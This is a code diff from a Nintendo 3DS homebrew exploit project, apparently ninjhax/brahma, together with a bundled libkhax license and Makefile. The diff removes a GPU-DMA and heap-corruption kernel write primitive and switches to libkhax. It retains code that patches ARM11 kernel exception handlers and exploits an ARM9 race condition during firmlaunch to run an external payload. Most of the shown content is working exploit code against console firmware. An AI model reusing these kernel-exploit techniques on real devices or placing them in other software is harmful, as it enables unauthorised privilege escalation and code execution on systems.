BX LR
|
BX LR
|
||||||
|
|
||||||
busy_spin:
|
|
||||||
SUBS R0, R0, #2
|
|
||||||
NOP
|
|
||||||
BGT busy_spin
|
|
||||||
BX LR
|
|
||||||
|
|
||||||
pdn_send:
|
pdn_send:
|
||||||
LDR R1, va_pdn_regs
|
LDR R1, va_pdn_regs
|
||||||
STRB R0, [R1, #0x230]
|
STRB R0, [R1, #0x230]
|
||||||
@ -146,6 +132,15 @@ loc_1020D0:
|
|||||||
TST R2, #2
|
TST R2, #2
|
||||||
BNE loc_1020D0
|
BNE loc_1020D0
|
||||||
STR R0, [R1,#8]
|
STR R0, [R1,#8]
|
||||||
|
|
||||||
|
MOV R0, #4
|
||||||
|
delay:
|
||||||
|
MOV R1, #0
|
||||||
|
MCR p15, 0, r1, c7, c10, 0
|
||||||
|
MCR p15, 0, r1, c7, c10, 4
|
||||||
|
loop:
|
||||||
|
SUBS R0, #1
|
||||||
|
BGT loop
|
||||||
BX LR
|
BX LR
|
||||||
|
|
||||||
pxi_recv:
|
pxi_recv:
|
||||||
|
@ -4,15 +4,23 @@
|
|||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <malloc.h>
|
#include <malloc.h>
|
||||||
#include <dirent.h>
|
#include <dirent.h>
|
||||||
|
#include <unistd.h>
|
||||||
#include <sys/socket.h>
|
#include <sys/socket.h>
|
||||||
#include <sys/_default_fcntl.h>
|
#include <sys/_default_fcntl.h>
|
||||||
#include <netinet/in.h>
|
#include <netinet/in.h>
|
||||||
#include <arpa/inet.h>
|
#include <arpa/inet.h>
|
||||||
|
|
||||||
#include "brahma.h"
|
#include "brahma.h"
|
||||||
#include "exploitdata.h"
|
#include "exploitdata.h"
|
||||||
#include "utils.h"
|
#include "utils.h"
|
||||||
|
#include "libkhax/khax.h"
|
||||||
|
|
||||||
GSP_FramebufferInfo topFramebufferInfo, bottomFramebufferInfo;
|
static u8 *g_ext_arm9_buf;
|
||||||
|
static u32 g_ext_arm9_size = 0;
|
||||||
|
static s32 g_ext_arm9_loaded = 0;
|
||||||
|
static struct exploit_data g_expdata;
|
||||||
|
static struct arm11_shared_data g_arm11shared;
|
||||||
|
u32 frameBufferData[3];
|
||||||
|
|
||||||
/* should be the very first call. allocates heap buffer
|
/* should be the very first call. allocates heap buffer
|
||||||
for ARM9 payload */
|
for ARM9 payload */
|
||||||
@ -32,35 +40,17 @@ u32 brahma_exit (void) {
|
|||||||
/* overwrites two instructions (8 bytes in total) at src_addr
|
/* overwrites two instructions (8 bytes in total) at src_addr
|
||||||
with code that redirects execution to dst_addr */
|
with code that redirects execution to dst_addr */
|
||||||
void redirect_codeflow (u32 *dst_addr, u32 *src_addr) {
|
void redirect_codeflow (u32 *dst_addr, u32 *src_addr) {
|
||||||
*(src_addr + 1) = dst_addr;
|
*(src_addr + 1) = (u32)dst_addr;
|
||||||
*src_addr = ARM_JUMPOUT;
|
*src_addr = ARM_JUMPOUT;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* exploits a bug that causes the GPU to copy memory
|
|
||||||
that otherwise would be inaccessible to code from
|
|
||||||
a non-privileged context */
|
|
||||||
void do_gshax_copy (void *dst, void *src, u32 len) {
|
|
||||||
u32 check_mem = linearMemAlign(0x10000, 0x40);
|
|
||||||
s32 i = 0;
|
|
||||||
|
|
||||||
for (i = 0; i < 16; ++i) {
|
|
||||||
GSPGPU_FlushDataCache (NULL, src, len);
|
|
||||||
GX_SetTextureCopy(NULL, src, 0, dst, 0, len, 8);
|
|
||||||
GSPGPU_FlushDataCache (NULL, check_mem, 16);
|
|
||||||
GX_SetTextureCopy(NULL, src, 0, check_mem, 0, 0x40, 8);
|
|
||||||
}
|
|
||||||
HB_FlushInvalidateCache();
|
|
||||||
linearFree(check_mem);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* fills exploit_data structure with information that is specific
|
/* fills exploit_data structure with information that is specific
|
||||||
to 3DS model and firmware version
|
to 3DS model and firmware version
|
||||||
returns: 0 on failure, 1 on success */
|
returns: 0 on failure, 1 on success */
|
||||||
s32 get_exploit_data (struct exploit_data *data) {
|
s32 get_exploit_data (struct exploit_data *data) {
|
||||||
u32 fversion = 0;
|
u32 fversion = 0;
|
||||||
u8 isN3DS = 0;
|
u8 isN3DS = 0;
|
||||||
s32 i;
|
u32 i;
|
||||||
s32 result = 0;
|
s32 result = 0;
|
||||||
u32 sysmodel = SYS_MODEL_NONE;
|
u32 sysmodel = SYS_MODEL_NONE;
|
||||||
|
|
||||||
@ -68,11 +58,11 @@ s32 get_exploit_data (struct exploit_data *data) {
|
|||||||
return result;
|
return result;
|
||||||
|
|
||||||
fversion = osGetFirmVersion();
|
fversion = osGetFirmVersion();
|
||||||
APT_CheckNew3DS(NULL, &isN3DS);
|
APT_CheckNew3DS(&isN3DS);
|
||||||
sysmodel = isN3DS ? SYS_MODEL_NEW_3DS : SYS_MODEL_OLD_3DS;
|
sysmodel = isN3DS ? SYS_MODEL_NEW_3DS : SYS_MODEL_OLD_3DS;
|
||||||
|
|
||||||
/* copy platform and firmware dependent data */
|
/* copy platform and firmware dependent data */
|
||||||
for(i=0; i < sizeof(supported_systems) / sizeof(supported_systems[0]); i++) {
|
for(i = 0; i < sizeof(supported_systems) / sizeof(supported_systems[0]); i++) {
|
||||||
if (supported_systems[i].firm_version == fversion &&
|
if (supported_systems[i].firm_version == fversion &&
|
||||||
supported_systems[i].sys_model & sysmodel) {
|
supported_systems[i].sys_model & sysmodel) {
|
||||||
memcpy(data, &supported_systems[i], sizeof(struct exploit_data));
|
memcpy(data, &supported_systems[i], sizeof(struct exploit_data));
|
||||||
@ -83,64 +73,6 @@ s32 get_exploit_data (struct exploit_data *data) {
|
|||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* exploits a bug in order to cause the ARM11 kernel
|
|
||||||
to write a certain 32 bit value to 'address' */
|
|
||||||
void priv_write_four (u32 address) {
|
|
||||||
const u32 size_heap_cblk = 8 * sizeof(u32);
|
|
||||||
u32 addr_lin, addr_lin_o;
|
|
||||||
u32 dummy;
|
|
||||||
u32 *saved_heap = linearMemAlign(size_heap_cblk, 0x10);
|
|
||||||
u32 *cstm_heap = linearMemAlign(size_heap_cblk, 0x10);
|
|
||||||
|
|
||||||
svcControlMemory(&addr_lin, 0, 0, 0x2000, MEMOP_ALLOC_LINEAR, 0x3);
|
|
||||||
addr_lin_o = addr_lin + 0x1000;
|
|
||||||
svcControlMemory(&dummy, addr_lin_o, 0, 0x1000, MEMOP_FREE, 0);
|
|
||||||
|
|
||||||
// back up heap
|
|
||||||
do_gshax_copy(saved_heap, addr_lin_o, size_heap_cblk);
|
|
||||||
|
|
||||||
// set up a custom heap ctrl structure
|
|
||||||
cstm_heap[0] = 1;
|
|
||||||
cstm_heap[1] = address - 8;
|
|
||||||
cstm_heap[2] = 0;
|
|
||||||
cstm_heap[3] = 0;
|
|
||||||
|
|
||||||
// corrupt heap ctrl structure by overwriting it with our custom struct
|
|
||||||
do_gshax_copy(addr_lin_o, cstm_heap, 4 * sizeof(u32));
|
|
||||||
|
|
||||||
// Trigger write to 'address'
|
|
||||||
svcControlMemory(&dummy, addr_lin, 0, 0x1000, MEMOP_FREE, 0);
|
|
||||||
|
|
||||||
// restore heap
|
|
||||||
do_gshax_copy(addr_lin, saved_heap, size_heap_cblk);
|
|
||||||
|
|
||||||
linearFree(saved_heap);
|
|
||||||
linearFree(cstm_heap);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// trick to clear icache
|
|
||||||
void user_clear_icache (void) {
|
|
||||||
s32 i, result = 0;
|
|
||||||
s32 (*nop_func)(void);
|
|
||||||
const u32 size_nopslide = 0x1000;
|
|
||||||
u32 *nop_slide = memalign(0x1000, size_nopslide);
|
|
||||||
|
|
||||||
if (nop_slide) {
|
|
||||||
HB_ReprotectMemory(nop_slide, 4, 7, &result);
|
|
||||||
for (i = 0; i < size_nopslide / sizeof(u32); i++) {
|
|
||||||
nop_slide[i] = ARM_NOP;
|
|
||||||
}
|
|
||||||
nop_slide[i-1] = ARM_RET;
|
|
||||||
nop_func = nop_slide;
|
|
||||||
HB_FlushInvalidateCache();
|
|
||||||
|
|
||||||
nop_func();
|
|
||||||
free(nop_slide);
|
|
||||||
}
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* get system dependent data and set up ARM11 structures */
|
/* get system dependent data and set up ARM11 structures */
|
||||||
s32 setup_exploit_data (void) {
|
s32 setup_exploit_data (void) {
|
||||||
s32 result = 0;
|
s32 result = 0;
|
||||||
@ -155,27 +87,14 @@ s32 setup_exploit_data (void) {
|
|||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Corrupts ARM11 kernel code (CreateThread()) in order to
|
|
||||||
open a door for code execution with ARM11 SVC privileges. */
|
|
||||||
s32 corrupt_svcCreateThread (void) {
|
|
||||||
s32 result = 0;
|
|
||||||
|
|
||||||
priv_write_four(g_expdata.va_patch_createthread);
|
|
||||||
user_clear_icache();
|
|
||||||
result = 1;
|
|
||||||
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* TODO: network code might be moved somewhere else */
|
/* TODO: network code might be moved somewhere else */
|
||||||
s32 recv_arm9_payload (void) {
|
s32 recv_arm9_payload (void) {
|
||||||
s32 sockfd;
|
s32 sockfd;
|
||||||
struct sockaddr_in sa;
|
struct sockaddr_in sa;
|
||||||
s32 ret;
|
|
||||||
u32 kDown, old_kDown;
|
u32 kDown, old_kDown;
|
||||||
s32 clientfd;
|
s32 clientfd;
|
||||||
struct sockaddr_in client_addr;
|
struct sockaddr_in client_addr;
|
||||||
s32 addrlen = sizeof(client_addr);
|
u32 addrlen = sizeof(client_addr);
|
||||||
s32 sflags = 0;
|
s32 sflags = 0;
|
||||||
|
|
||||||
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
|
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
|
||||||
@ -188,7 +107,7 @@ s32 recv_arm9_payload (void) {
|
|||||||
sa.sin_port = htons(BRAHMA_NETWORK_PORT);
|
sa.sin_port = htons(BRAHMA_NETWORK_PORT);
|
||||||
sa.sin_addr.s_addr = gethostid();
|
sa.sin_addr.s_addr = gethostid();
|
||||||
|
|
||||||
if (bind(sockfd, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
|
if (bind(sockfd, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
|
||||||
printf("[!] Error: bind()\n");
|
printf("[!] Error: bind()\n");
|
||||||
close(sockfd);
|
close(sockfd);
|
||||||
return 0;
|
return 0;
|
||||||
@ -250,7 +169,7 @@ s32 recv_arm9_payload (void) {
|
|||||||
|
|
||||||
fcntl(sockfd, F_SETFL, sflags & ~O_NONBLOCK);
|
fcntl(sockfd, F_SETFL, sflags & ~O_NONBLOCK);
|
||||||
|
|
||||||
printf("\n\n[x] Received %d bytes in total\n", total);
|
printf("\n\n[x] Received %u bytes in total\n", (unsigned int)total);
|
||||||
g_ext_arm9_size = overflow ? 0 : total;
|
g_ext_arm9_size = overflow ? 0 : total;
|
||||||
g_ext_arm9_loaded = (g_ext_arm9_size != 0);
|
g_ext_arm9_loaded = (g_ext_arm9_size != 0);
|
||||||
|
|
||||||
@ -262,10 +181,16 @@ s32 recv_arm9_payload (void) {
|
|||||||
|
|
||||||
/* reads ARM9 payload from a given path.
|
/* reads ARM9 payload from a given path.
|
||||||
filename: full path of payload
|
filename: full path of payload
|
||||||
|
offset: offset of the payload in the file
|
||||||
|
max_psize: the maximum size of the payload that should be loaded (if 0, ARM9_MAX_PAYLOAD_SIZE. Should be smaller than ARM9_MAX_PAYLOAD_SIZE)
|
||||||
returns: 0 on failure, 1 on success */
|
returns: 0 on failure, 1 on success */
|
||||||
s32 load_arm9_payload (char *filename) {
|
s32 load_arm9_payload_offset (char *filename, u32 offset, u32 max_psize) {
|
||||||
s32 result = 0;
|
s32 result = 0;
|
||||||
u32 fsize = 0;
|
u32 fsize = 0;
|
||||||
|
u32 psize = 0;
|
||||||
|
|
||||||
|
if (max_psize == 0 || max_psize > ARM9_PAYLOAD_MAX_SIZE)
|
||||||
|
max_psize = ARM9_PAYLOAD_MAX_SIZE;
|
||||||
|
|
||||||
if (!filename)
|
if (!filename)
|
||||||
return result;
|
return result;
|
||||||
@ -274,11 +199,19 @@ s32 load_arm9_payload (char *filename) {
|
|||||||
if (f) {
|
if (f) {
|
||||||
fseek(f , 0, SEEK_END);
|
fseek(f , 0, SEEK_END);
|
||||||
fsize = ftell(f);
|
fsize = ftell(f);
|
||||||
g_ext_arm9_size = fsize;
|
|
||||||
rewind(f);
|
if (offset < fsize) {
|
||||||
if (fsize >= 8 && (fsize <= ARM9_PAYLOAD_MAX_SIZE)) {
|
psize = fsize - offset;
|
||||||
u32 bytes_read = fread(g_ext_arm9_buf, 1, fsize, f);
|
if (psize > max_psize)
|
||||||
result = (g_ext_arm9_loaded = (bytes_read == fsize));
|
psize = max_psize;
|
||||||
|
|
||||||
|
g_ext_arm9_size = psize;
|
||||||
|
|
||||||
|
fseek(f, offset, SEEK_SET);
|
||||||
|
if (psize >= 8) {
|
||||||
|
u32 bytes_read = fread(g_ext_arm9_buf, 1, psize, f);
|
||||||
|
result = (g_ext_arm9_loaded = (bytes_read == psize));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
fclose(f);
|
fclose(f);
|
||||||
}
|
}
|
||||||
@ -320,7 +253,7 @@ s32 map_arm9_payload (void) {
|
|||||||
dst = (void *)(g_expdata.va_fcram_base + OFFS_FCRAM_ARM9_PAYLOAD);
|
dst = (void *)(g_expdata.va_fcram_base + OFFS_FCRAM_ARM9_PAYLOAD);
|
||||||
|
|
||||||
if (!g_ext_arm9_loaded) {
|
if (!g_ext_arm9_loaded) {
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
// external ARM9 payload
|
// external ARM9 payload
|
||||||
@ -328,8 +261,8 @@ s32 map_arm9_payload (void) {
|
|||||||
size = g_ext_arm9_size;
|
size = g_ext_arm9_size;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (size >= 0 && size <= ARM9_PAYLOAD_MAX_SIZE) {
|
if (size <= ARM9_PAYLOAD_MAX_SIZE) {
|
||||||
memcpy(dst, src, size);
|
memcpy((void *)dst, src, size);
|
||||||
result = 1;
|
result = 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -350,7 +283,7 @@ s32 map_arm11_payload (void) {
|
|||||||
|
|
||||||
// TODO: sanitize 'size'
|
// TODO: sanitize 'size'
|
||||||
if (size) {
|
if (size) {
|
||||||
memcpy(dst, src, size);
|
memcpy((void *)dst, src, size);
|
||||||
result_a = 1;
|
result_a = 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -363,7 +296,7 @@ s32 map_arm11_payload (void) {
|
|||||||
|
|
||||||
// TODO sanitize 'size'
|
// TODO sanitize 'size'
|
||||||
if (result_a && size) {
|
if (result_a && size) {
|
||||||
memcpy(dst, src, size);
|
memcpy((void *)dst, src, size);
|
||||||
result_b = 1;
|
result_b = 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -385,15 +318,16 @@ void exploit_arm9_race_condition (void) {
|
|||||||
/* patch ARM11 kernel to force it to execute
|
/* patch ARM11 kernel to force it to execute
|
||||||
our code (hook1 and hook2) as soon as a
|
our code (hook1 and hook2) as soon as a
|
||||||
"firmlaunch" is triggered */
|
"firmlaunch" is triggered */
|
||||||
redirect_codeflow(g_expdata.va_exc_handler_base_X +
|
redirect_codeflow((u32 *)(g_expdata.va_exc_handler_base_X +
|
||||||
OFFS_EXC_HANDLER_UNUSED,
|
OFFS_EXC_HANDLER_UNUSED),
|
||||||
g_expdata.va_patch_hook1);
|
(u32 *)g_expdata.va_patch_hook1);
|
||||||
|
|
||||||
redirect_codeflow(PA_EXC_HANDLER_BASE +
|
redirect_codeflow((u32 *)(PA_EXC_HANDLER_BASE +
|
||||||
OFFS_EXC_HANDLER_UNUSED + 4,
|
OFFS_EXC_HANDLER_UNUSED + 4),
|
||||||
g_expdata.va_patch_hook2);
|
(u32 *)g_expdata.va_patch_hook2);
|
||||||
|
|
||||||
CleanEntireDataCache();
|
CleanEntireDataCache();
|
||||||
|
dsb();
|
||||||
InvalidateEntireInstructionCache();
|
InvalidateEntireInstructionCache();
|
||||||
|
|
||||||
// trigger ARM9 code execution through "firmlaunch"
|
// trigger ARM9 code execution through "firmlaunch"
|
||||||
@ -403,45 +337,18 @@ void exploit_arm9_race_condition (void) {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* - restores corrupted code of CreateThread() syscall */
|
|
||||||
void repair_svcCreateThread (void) {
|
|
||||||
asm volatile ("clrex");
|
|
||||||
|
|
||||||
CleanEntireDataCache();
|
|
||||||
InvalidateEntireInstructionCache();
|
|
||||||
|
|
||||||
// repair CreateThread()
|
|
||||||
*(u32 *)(g_expdata.va_patch_createthread) = 0x8DD00CE5;
|
|
||||||
|
|
||||||
CleanEntireDataCache();
|
|
||||||
InvalidateEntireInstructionCache();
|
|
||||||
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* restore svcCreateThread code (not really required,
|
/* restore svcCreateThread code (not really required,
|
||||||
but just to be on the safe side) */
|
but just to be on the safe side) */
|
||||||
s32 __attribute__((naked))
|
s32 priv_firm_reboot (void) {
|
||||||
priv_firm_reboot (void) {
|
__asm__ volatile ("cpsid aif");
|
||||||
asm volatile ("add sp, sp, #8\t\n");
|
|
||||||
|
|
||||||
repair_svcCreateThread();
|
|
||||||
|
|
||||||
// Save the framebuffers for arm9,
|
// Save the framebuffers for arm9,
|
||||||
u32 *save = (u32 *)(g_expdata.va_fcram_base + 0x3FFFE00);
|
u32 *save = (u32 *)(g_expdata.va_fcram_base + 0x3FFFE00);
|
||||||
save[0] = topFramebufferInfo.framebuf0_vaddr;
|
memcpy(save, frameBufferData, sizeof(u32) * sizeof(frameBufferData));
|
||||||
save[1] = topFramebufferInfo.framebuf1_vaddr;
|
|
||||||
save[2] = bottomFramebufferInfo.framebuf0_vaddr;
|
|
||||||
|
|
||||||
// Working around a GCC bug to translate the va address to pa...
|
exploit_arm9_race_condition();
|
||||||
save[0] += 0xC000000; // (pa FCRAM address - va FCRAM address)
|
|
||||||
save[1] += 0xC000000;
|
|
||||||
save[2] += 0xC000000;
|
|
||||||
|
|
||||||
exploit_arm9_race_condition();
|
return 0;
|
||||||
|
|
||||||
asm volatile ("movs r0, #0\t\n"
|
|
||||||
"ldr pc, [sp], #4\t\n");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* perform firmlaunch. load ARM9 payload before calling this
|
/* perform firmlaunch. load ARM9 payload before calling this
|
||||||
@ -450,12 +357,21 @@ priv_firm_reboot (void) {
|
|||||||
s32 firm_reboot (void) {
|
s32 firm_reboot (void) {
|
||||||
s32 fail_stage = 0;
|
s32 fail_stage = 0;
|
||||||
|
|
||||||
|
// Make sure gfx is initialized
|
||||||
|
gfxInitDefault();
|
||||||
|
|
||||||
|
// Save the framebuffers for arm11.
|
||||||
|
frameBufferData[0] = (u32)gfxGetFramebuffer(GFX_TOP, GFX_LEFT, NULL, NULL) + 0xC000000;
|
||||||
|
frameBufferData[1] = (u32)gfxGetFramebuffer(GFX_TOP, GFX_RIGHT, NULL, NULL) + 0xC000000;
|
||||||
|
frameBufferData[2] = (u32)gfxGetFramebuffer(GFX_BOTTOM, 0, NULL, NULL) + 0xC000000;
|
||||||
|
gfxSwapBuffers();
|
||||||
|
|
||||||
fail_stage++; /* platform or firmware not supported, ARM11 exploit failure */
|
fail_stage++; /* platform or firmware not supported, ARM11 exploit failure */
|
||||||
if (setup_exploit_data()) {
|
if (setup_exploit_data()) {
|
||||||
fail_stage++; /* failure while trying to corrupt svcCreateThread() */
|
fail_stage++; /* failure while trying to corrupt svcCreateThread() */
|
||||||
if (corrupt_svcCreateThread()) {
|
if (khaxInit() == 0) {
|
||||||
fail_stage++; /* Firmlaunch failure, ARM9 exploit failure*/
|
fail_stage++; /* Firmlaunch failure, ARM9 exploit failure*/
|
||||||
svcCorruptedCreateThread(priv_firm_reboot);
|
svcBackdoor(priv_firm_reboot);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -1,7 +1,8 @@
|
|||||||
#include <3ds.h>
|
#include <3ds.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
/* loop until key is pressed */
|
/* loop until key is pressed */
|
||||||
u32 wait_key (void) {
|
void wait_key (void) {
|
||||||
hidScanInput();
|
hidScanInput();
|
||||||
u32 old_kDown, kDown;
|
u32 old_kDown, kDown;
|
||||||
old_kDown = hidKeysDown();
|
old_kDown = hidKeysDown();
|
||||||
@ -17,7 +18,6 @@ u32 wait_key (void) {
|
|||||||
gfxFlushBuffers();
|
gfxFlushBuffers();
|
||||||
gfxSwapBuffers();
|
gfxSwapBuffers();
|
||||||
}
|
}
|
||||||
return kDown;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* convenience function */
|
/* convenience function */
|
||||||
|
22
ninjhax/source/libkhax/LICENSE
Normal file
22
ninjhax/source/libkhax/LICENSE
Normal file
@ -0,0 +1,22 @@
|
|||||||
|
The MIT License (MIT)
|
||||||
|
|
||||||
|
Copyright (c) 2015 Myriachan
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
||||||
|
|
177
ninjhax/source/libkhax/demo/Makefile
Normal file
177
ninjhax/source/libkhax/demo/Makefile
Normal file
@ -0,0 +1,177 @@
|
|||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
.SUFFIXES:
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
ifeq ($(strip $(DEVKITARM)),)
|
||||||
|
$(error "Please set DEVKITARM in your environment. export DEVKITARM=<path to>devkitARM")
|
||||||
|
endif
|
||||||
|
|
||||||
|
TOPDIR ?= $(CURDIR)
|
||||||
|
include $(DEVKITARM)/3ds_rules
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# TARGET is the name of the output
|
||||||
|
# BUILD is the directory where object files & intermediate files will be placed
|
||||||
|
# SOURCES is a list of directories containing source code
|
||||||
|
# DATA is a list of directories containing data files
|
||||||
|
# INCLUDES is a list of directories containing header files
|
||||||
|
#
|
||||||
|
# NO_SMDH: if set to anything, no SMDH file is generated.
|
||||||
|
# APP_TITLE is the name of the app stored in the SMDH file (Optional)
|
||||||
|
# APP_DESCRIPTION is the description of the app stored in the SMDH file (Optional)
|
||||||
|
# APP_AUTHOR is the author of the app stored in the SMDH file (Optional)
|
||||||
|
# ICON is the filename of the icon (.png), relative to the project folder.
|
||||||
|
# If not set, it attempts to use one of the following (in this order):
|
||||||
|
# - <Project name>.png
|
||||||
|
# - icon.png
|
||||||
|
# - <libctru folder>/default_icon.png
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
TARGET := $(notdir $(CURDIR))
|
||||||
|
BUILD := build
|
||||||
|
SOURCES := . ../
|
||||||
|
DATA := data
|
||||||
|
INCLUDES := include
|
||||||
|
APP_TITLE := khax
|
||||||
|
APP_DESCRIPTION := ARM11 KernelHax
|
||||||
|
APP_AUTHOR := Myria
|
||||||
|
ICON := logo.png
|
||||||
|
NO_SMDH := 1
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# options for code generation
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
ARCH := -march=armv6k -mtune=mpcore -mfloat-abi=hard
|
||||||
|
|
||||||
|
CFLAGS := -g -Wall -O3 -mword-relocations \
|
||||||
|
-fomit-frame-pointer -ffast-math \
|
||||||
|
$(ARCH)
|
||||||
|
|
||||||
|
CFLAGS += $(INCLUDE) -DARM11 -D_3DS -DARM_ARCH -DKHAX_DEBUG
|
||||||
|
|
||||||
|
CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11
|
||||||
|
|
||||||
|
ASFLAGS := -g $(ARCH)
|
||||||
|
LDFLAGS = -specs=3dsx.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map)
|
||||||
|
|
||||||
|
LIBS := -lctru -lm
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# list of directories containing libraries, this must be the top level containing
|
||||||
|
# include and lib
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
LIBDIRS := $(CTRULIB)
|
||||||
|
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# no real need to edit anything past this point unless you need to add additional
|
||||||
|
# rules for different file extensions
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
ifneq ($(BUILD),$(notdir $(CURDIR)))
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
export OUTPUT := $(CURDIR)/$(TARGET)
|
||||||
|
export TOPDIR := $(CURDIR)
|
||||||
|
|
||||||
|
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
|
||||||
|
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
|
||||||
|
|
||||||
|
export DEPSDIR := $(CURDIR)/$(BUILD)
|
||||||
|
|
||||||
|
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
|
||||||
|
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
|
||||||
|
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
|
||||||
|
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# use CXX for linking C++ projects, CC for standard C
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
ifeq ($(strip $(CPPFILES)),)
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
export LD := $(CC)
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
else
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
export LD := $(CXX)
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
endif
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
export OFILES := $(addsuffix .o,$(BINFILES)) \
|
||||||
|
$(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o)
|
||||||
|
|
||||||
|
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
|
||||||
|
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
|
||||||
|
-I$(CURDIR)/$(BUILD)
|
||||||
|
|
||||||
|
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib)
|
||||||
|
|
||||||
|
ifeq ($(strip $(ICON)),)
|
||||||
|
icons := $(wildcard *.png)
|
||||||
|
ifneq (,$(findstring $(TARGET).png,$(icons)))
|
||||||
|
export APP_ICON := $(TOPDIR)/$(TARGET).png
|
||||||
|
else
|
||||||
|
ifneq (,$(findstring icon.png,$(icons)))
|
||||||
|
export APP_ICON := $(TOPDIR)/icon.png
|
||||||
|
endif
|
||||||
|
endif
|
||||||
|
else
|
||||||
|
export APP_ICON := $(TOPDIR)/$(ICON)
|
||||||
|
endif
|
||||||
|
|
||||||
|
.PHONY: $(BUILD) clean all
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
all: $(BUILD)
|
||||||
|
|
||||||
|
$(BUILD):
|
||||||
|
@echo $(SFILES)
|
||||||
|
@[ -d $@ ] || mkdir -p $@
|
||||||
|
@make --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
clean:
|
||||||
|
@echo clean ...
|
||||||
|
@rm -fr $(BUILD) $(TARGET).3dsx $(OUTPUT).smdh $(TARGET).elf
|
||||||
|
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
else
|
||||||
|
|
||||||
|
DEPENDS := $(OFILES:.o=.d)
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# main targets
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
ifeq ($(strip $(NO_SMDH)),)
|
||||||
|
.PHONY: all
|
||||||
|
all : $(OUTPUT).3dsx $(OUTPUT).smdh
|
||||||
|
endif
|
||||||
|
